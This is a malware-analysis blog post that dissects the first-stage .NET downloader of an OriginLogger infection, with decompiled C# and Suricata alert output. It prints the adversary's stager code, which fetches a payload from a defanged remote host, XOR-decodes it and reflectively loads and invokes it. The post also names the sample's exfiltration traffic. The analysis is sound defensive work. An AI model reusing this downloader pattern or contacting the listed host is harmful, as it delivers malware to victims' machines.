.NET Downloader Leading to OriginLogger
Earlier in January, Unit42 and Brad (@malware_traffic) posted tweets with some details on an instance of OriginLogger floating around in the wild.
#pcap of the infection traffic, sanitized copy of the email, and with the associated malware are available at: https://t.co/B1wo9XjSQV pic.twitter.com/KoxMLd8K0e
— Brad (@malware_traffic) January 6, 2023
In this post I want to take a look at the first stage of the malware observed by Brad and shared in his blog post alongside the relevant PCAP. If you want to follow along, the files are available here.
Triaging the malware
We can perform our initial triage on Payment Copy_Chase Bank_Pdf.exe
using Detect-It-Easy. I wanted to use the GUI version this time around, and it gives some more information.
Immediately we can observe that the file is an EXE developed using the .NET Framework. The date/time stamp is really far into the future so I’d hazard a guess that some of the binary properties have been modified for evasion.
Looking into the entropy measurements, there doesn’t appear to be any compression or packing involved. All of the entropy measurements are between 0-5, indicating more natural language or programming instructions. Compression would approach 6-7 while encryption would be in the high 7.9 measurements.
Decompiling and analyzing the EXE
We can easily decompile the EXE using ilspycmd
and inspect the code in VSCode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
remnux@remnux:~/cases/originlogger$ mkdir src
remnux@remnux:~/cases/originlogger$ ilspycmd -p -o src/ Payment\ Copy_Chase\ Bank_Pdf.exe
remnux@remnux:~/cases/originlogger$ tree -a
.
├── Payment Copy_Chase Bank_Pdf.exe
└── src
├── app.ico
├── Mvqdwnrv.csproj
├── Properties
│ └── AssemblyInfo.cs
└── WindowsFormsApp50
├── Form1.cs
├── Hyper.cs
└── Program.cs
3 directories, 7 files
I like decompiling using ilspycmd -p
to an output folder because it also gives me the application icon for extra context. In this case, the icon is an Adobe-themed document icon to help the malware masquerade as a PDF file.
Visual Studio boilerplate code
This particular .NET program looks fairly simple and was likely a quick Visual Studio project using the “Windows Forms” template project. I’m basing the simplicity on the number of code files and the template part based on the folder/namespace name WindowsFormsApp50
. In programs this simple we can usually find an entry point within Program.cs
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using System;
using System.Windows.Forms;
namespace WindowsFormsApp50
{
internal class Program
{
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run((Form)(object)new Form1());
}
}
}
The entirety of Program.cs
is pretty small in this case. Its sole job is to kick off the application with an instance of the Form1
class. This is pretty basic boilerplate code generated by Visual Studio when creating a Windows Forms app. To follow application flow, we can jump into Form1.cs
1
2
3
4
5
6
public Form1()
: this()
{
InitializeComponent();
Socker();
}
The constructor for Form1 is really simple, it calls InitializeComponent()
to configure the visual controls on the Windows Form and then Socker()
to perform more actions after. The InitializeComponent()
code is likely partially generated by Visual Studio with some additions from the adversary. Socker()
is not part of the VS boilerplate code, so it’s going to be adversary-provided.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void InitializeComponent()
{
richTextBox1 = new RichTextBox();
((Control)this).SuspendLayout();
((Control)richTextBox1).set_Dock((DockStyle)5);
((Control)richTextBox1).set_Location(new Point(0, 0));
((Control)richTextBox1).set_Name("richTextBox1");
((Control)richTextBox1).set_Size(new Size(800, 450));
((Control)richTextBox1).set_TabIndex(0);
((Control)richTextBox1).set_Text("");
((ContainerControl)this).set_AutoScaleDimensions(new SizeF(11f, 24f));
((ContainerControl)this).set_AutoScaleMode((AutoScaleMode)1);
((Form)this).set_ClientSize(new Size(800, 450));
((Control)this).get_Controls().Add((Control)(object)richTextBox1);
((Control)this).set_Name("Form1");
((Control)this).set_Text("Form1");
((Control)this).ResumeLayout(false);
}
This InitializeComponent()
function is pretty straightforward and is typical of the auto-generated code from VS when you create and manipulate controls on a form in the IDE. The app has a RichTextBox control inside a container.
Adversary code
Now we can dive into the Socker()
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void Socker()
{
try
{
Trial();
Void();
Lion();
Ursa();
}
catch (Exception)
{
((Form)this).Close();
}
}
The function branches off into four additional functions. If these functions return an exception for some reason, the adversary code “swallows” the error and closes Form1 to end the program execution.
The first branching function is Trial()
, which branches into an additional class named Hyper.cs
.
1
2
3
4
5
private void Trial()
{
((Control)richTextBox1).set_Text("Gdbtshcw.Sdnceyzqa Vqyhbeqthicxedwtrnxrbzcq");
((Control)richTextBox1).set_Tag((object)Hyper.Array());
}
The set_Text()
portion sets some randomized string to the text property of the RichTextBox in the form. It also sets a “tag” for the text box control to the output of Hyper.Array()
. So let’s take a look at Hyper.cs
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
internal class Hyper
{
private static byte[] GetBuffer()
{
return Avrql("hxxp://savory.com[.]bd/sav/Ztvfo.png");
}
private static byte[] Avrql(string url)
{
WebResponse response = ((WebRequest)(HttpWebRequest)WebRequest.Create(url)).GetResponse();
MemoryStream memoryStream = new MemoryStream();
response.GetResponseStream().CopyTo(memoryStream);
return memoryStream.ToArray();
}
internal static byte[] Array()
{
for (int i = 0; i < 10; i++)
{
try
{
byte[] buffer = GetBuffer();
byte[] bytes = Encoding.UTF8.GetBytes("Sfhdjkpkowgnpcgoshb");
List<byte> list = new List<byte>();
for (int j = 0; j < buffer.Length; j++)
{
list.Add((byte)(bytes[j % bytes.Length] ^ buffer[j]));
}
return list.ToArray();
}
catch
{
Thread.Sleep(TimeSpan.FromSeconds(10.0));
}
}
return null;
}
}
It doesn’t look like it, but the entire Hyper.cs
file is still pretty small, with just a few lines of code to download a blob of data from a remote site (GetBuffer()
and Avrql()
), deobfuscate it by XORing it with the bytes of Sfhdjkpkowgnpcgoshb
, and return the deobfuscated bytes. Presumably the deobfuscated blob will be a second .NET program or DLL. Since Brad included captured network traffic alongside this sample we can manually get the downloaded blob and deobfuscate it shortly.
So what does the program do with the downloaded bytes? Most of the time this sort of malware will perform some form of reflective load or injection. The using
statements at the beginning of Form1 didn’t include any references to Interop classes, so injection is likely out. I assume from this point they’re going to perform a reflective load. We can see some code to perform a reflective load in the Form1 function Void()
.
1
2
3
4
private void Void()
{
((Control)richTextBox1).set_Tag((object)Thread.GetDomain().Load((byte[])((Control)richTextBox1).get_Tag()));
}
This code sets a tag for the RichTextBox control to some code that performs a reflective load using the returned bytes. The GetDomain().Load()
statement loads the returned bytes into memory. The loaded code doesn’t execute automatically, however, it needs to be invoked. To handle this, the Lion()
and Ursa()
functions invoke a function represented by the randomized string in the RichTextBox control. It invokes namespace Gdbtshcw
, class Sdnceyzqa
, and method Vqyhbeqthicxedwtrnxrbzcq
. This randomized naming indicates stage 2 will likely have some decent obfuscation.
Getting stage 2 from PCAP and deobfuscating
Luckily, Brad already captured the stage 2 download in his included PCAP so we don’t have to worry about trying to obtain it from the source ourselves. We can simply export it from the PCAP in Wireshark. To do so, we can open up Wireshark, open the PCAP, navigate to File > Export Objects > HTTP… and chose the Ztvfo.png
file for export.
Now that we’ve exported the obfuscated file, we can use CyberChef to deobfuscate the bytes.
Once deobfuscated, we can save the output to disk and go from there. Since stage 2 is pretty heavily obfuscated I think I’ll stop here for the night and try to tackle it in the future. Thank you for reading, and I hope you learned a little bit about .NET malware!
How do we know it’s OriginLogger or AgentTesla?
A since the first stage is generic and the second stage is heavily obfuscated, I leaned on using network traffic to identify more details about this sample. Using Suricata alongside ET OPEN some special shell scripting from Josh Stroschein, the network traffic generated these alerts:
1
2
3
4
5
6
7
8
9
10
remnux@remnux:~/cases/originlogger$ sudo ~/suri-ingest-pcap.sh 2023-01-05-Agent-Tesla-variant-traffic.pcap
7/1/2023 -- 20:53:25 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
7/1/2023 -- 20:53:49 - <Notice> - all 3 packet processing threads, 4 management threads initialized, engine started.
7/1/2023 -- 20:53:49 - <Notice> - Signal Received. Stopping engine.
7/1/2023 -- 20:53:49 - <Notice> - Pcap-file module read 1 files, 1049 packets, 902428 bytes
[*] Alerts:
"2023-01-05T17:51:30.494697-0500 | 1:2260002:1 | SURICATA Applayer Detect protocol only one direction | Generic Protocol Command Decode | 204.11.58.28:587 -> 192.168.1.27:51958"
"2023-01-05T17:51:00.081370-0500 | 1:2030171:1 | ET MALWARE AgentTesla Exfil Via SMTP | A Network Trojan was detected | 192.168.1.27:51958 -> 204.11.58.28:587"
The ET MALWARE AgentTesla Exfil Via SMTP rule is was created for AgentTesla samples but there is some overlap between AgentTesla and OriginLogger as the latter is supposed to be an updated fork of the latter according to Unit42.